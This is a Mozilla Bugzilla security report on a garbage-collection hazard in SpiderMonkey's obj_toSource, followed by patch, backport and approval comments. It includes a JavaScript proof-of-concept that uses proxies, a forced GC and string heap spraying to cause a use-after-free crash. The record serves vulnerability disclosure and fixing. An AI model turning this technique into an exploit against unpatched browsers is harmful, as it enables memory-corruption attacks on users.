Bugzilla@Mozilla – Bug 568073
GC hazard in obj_toSource
Last modified: 2010-10-30 18:14:10 PDT
Summon comment box
obj_toSource contains the following pattern: obj->lookupProperty(cx, id, &obj2, &prop); ... obj->getProperty(cx, id, &val[0]); ... obj2->dropProperty(cx, prop); Similarly to the bug 566141 the code calls obj2->dropProperty after doing potentially complex operations. Again, as with the bug 566141, the proxies makes the bug easier to exploit but AFAICS on branches the liveconnect can be used to archive the same results as the getProperty call can run arbitrary Java code that can in turn call JS. Here is a test case that crashes the current TM tip: var obj = {x: 0}; // Make a proxy property of a getter/setter so enumerateOwn will be invoked // during initial scanning of the object tree. The function than deletes // a property from the object so property lookup during the enumeration // will go into prototype. function f() {} f.p = Proxy.create({ enumerateOwn: function() { delete obj.x; return []; }}); obj.__defineGetter__.call(obj, 'a', f); obj.__defineSetter__.call(obj, 'a', f); var buffer = []; for (var i = 0; i != 4000; ++i) buffer.push({}); function force_gc() { print('gc'); buffer = null; gc(); buffer = []; for (var i = 0; i != 1e5; ++i) buffer.push("123456".substring(1)); } // Make another proxy a prototype of Object.prototype. The has method for this // proxy is called for the deleted property x during attribute lookup in // obj_toSource. The method restores Object.prototype.__proto__ back to null // and defines a getter for the x on the original object. This getter triggers // gc that collects now unrooted proxy object and spray the freed GC arenas // with strings leading to a crash during dropProperty call. Object.prototype.__proto__ = Proxy.create({ has: function(name) { if (name == "x") { Object.prototype.__proto__ = null; obj.__defineGetter__('x', force_gc); return true; } return false; }, getOwnPropertyDescriptor: function(name) { return {}; } }); obj.toSource();
Created attachment 447368 [details] [review] v1
Nominating for branches as in principle the bug could be exploited there using LiveConnect.
http://hg.mozilla.org/tracemonkey/rev/fa51bdbbdd46
Please request branch patch approvals when you're ready to land this on the stable branches.
http://hg.mozilla.org/mozilla-central/rev/fa51bdbbdd46
This bug should be a blocker on branches. AFAICS with liveconnect one can build an exploit here.
Created attachment 465980 [details] [review] fix for 192 192 backport follows the logic of TM patch adjusted for older internal API.
Created attachment 466251 [details] [review] fix for 191 191 needs a separated fix to account for OBJ_LOOKUP_PROPERTY change on later branches. Here is a plain diff against 192 version: 4,5c4 < @@ -771,71 +771,70 @@ obj_toSource(JSContext *cx, uintN argc, < idIsLexicalIdentifier = js_IsIdentifier(idstr); --- > @@ -769,71 +769,70 @@ obj_toSource(JSContext *cx, uintN argc, 8c7,8 < js_CheckKeyword(idstr->chars(), idstr->length()) != TOK_EOF; --- > js_CheckKeyword(JSSTRING_CHARS(idstr), > JSSTRING_LENGTH(idstr)) != TOK_EOF; 14c14 < - ok = obj2->getAttributes(cx, id, prop, &attrs); --- > - ok = OBJ_GET_ATTRIBUTES(cx, obj2, id, prop, &attrs); 16c16 < - obj2->dropProperty(cx, prop); --- > - OBJ_DROP_PROPERTY(cx, obj2, prop); 44c44 < + obj2->dropProperty(cx, prop); --- > + OBJ_DROP_PROPERTY(cx, obj2, prop); 50c50 < ok = obj->getProperty(cx, id, &val[0]); --- > ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]); 54c54 < - obj2->dropProperty(cx, prop); --- > - OBJ_DROP_PROPERTY(cx, obj2, prop); 68c68 < ok = obj->getProperty(cx, id, &val[0]); --- > ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
Comment on attachment 466251 [details] [review] fix for 191 Approved for 1.9.1.13, a=dveditz for release-drivers
and Approved for 1.9.2.10
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/9d509dcb3daf http://hg.mozilla.org/releases/mozilla-1.9.1/rev/1de1a456c058
Created attachment 481170 [details] [review] 1.8.0 version